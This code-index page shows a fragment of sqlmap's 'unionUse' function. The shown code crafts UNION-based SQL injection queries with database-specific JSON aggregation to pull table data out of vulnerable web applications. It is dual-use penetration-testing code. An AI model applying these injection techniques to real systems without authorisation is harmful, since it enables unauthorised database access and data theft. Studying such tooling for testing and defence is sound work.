MCPcopy Index your code
hub / github.com/sqlmapproject/sqlmap / unionUse

Function unionUse

lib/techniques/union/use.py:239–466  ·  view source on GitHub ↗

This function tests for an UNION SQL injection on the target URL then call its subsidiary function to effectively perform an UNION SQL injection on the affected URL

(expression, unpack=True, dump=False)

Source from the content-addressed store, hash-verified

237 _configUnionCols(conf.uCols or columns)
238
239def unionUse(expression, unpack=True, dump=False):
240 """
241 This function tests for an UNION SQL injection on the target
242 URL then call its subsidiary function to effectively perform an
243 UNION SQL injection on the affected URL
244 """
245
246 initTechnique(PAYLOAD.TECHNIQUE.UNION)
247
248 abortedFlag = False
249 count = None
250 origExpr = expression
251 startLimit = 0
252 stopLimit = None
253 value = None
254
255 width = getConsoleWidth()
256 start = time.time()
257
258 _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
259
260 # Set kb.partRun in case the engine is called from the API
261 kb.partRun = getPartRun(alias=False) if conf.api else None
262
263 if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
264 # Removed ORDER BY clause because UNION does not play well with it
265 expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
266 debugMsg = "stripping ORDER BY clause from statement because "
267 debugMsg += "it does not play well with UNION query SQL injection"
268 singleTimeDebugMessage(debugMsg)
269
270 if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)):
271 match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I)
272 if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression):
273 kb.jsonAggMode = True
274 if Backend.isDbms(DBMS.MYSQL):
275 query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, ','.join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1)
276 elif Backend.isDbms(DBMS.ORACLE):
277 query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1)
278 elif Backend.isDbms(DBMS.SQLITE):
279 query = expression.replace(expressionFields, "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
280 elif Backend.isDbms(DBMS.PGSQL): # Note: ARRAY_AGG does CSV alike output, thus enclosing start/end inside each item
281 query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
282 elif Backend.isDbms(DBMS.MSSQL):
283 query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop)
284 output = _oneShotUnionUse(query, False)
285 value = parseUnionPage(output)
286 kb.jsonAggMode = False
287
288 # We have to check if the SQL query might return multiple entries
289 # if the technique is partial UNION query and in such case forge the
290 # SQL limiting the query output one entry at a time
291 # NOTE: we assume that only queries that get data from a table can
292 # return multiple entries
293 if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or conf.forcePartial or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
294 expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
295
296 if limitCond:

Callers 2

_goUnionFunction · 0.90
unionWriteFileMethod · 0.90

Calls 15

initTechniqueFunction · 0.90
getConsoleWidthFunction · 0.90
getPartRunFunction · 0.90
singleTimeDebugMessageFunction · 0.90
parseUnionPageFunction · 0.90
unArrayizeValueFunction · 0.90
isNumPosStrValueFunction · 0.90
getCurrentThreadDataFunction · 0.90
SqlmapDataExceptionClass · 0.90
BigArrayClass · 0.90
ProgressBarClass · 0.90
runThreadsFunction · 0.90

Tested by

no test coverage detected

Used in the wild real call sites across dependent graphs

searching dependent graphs…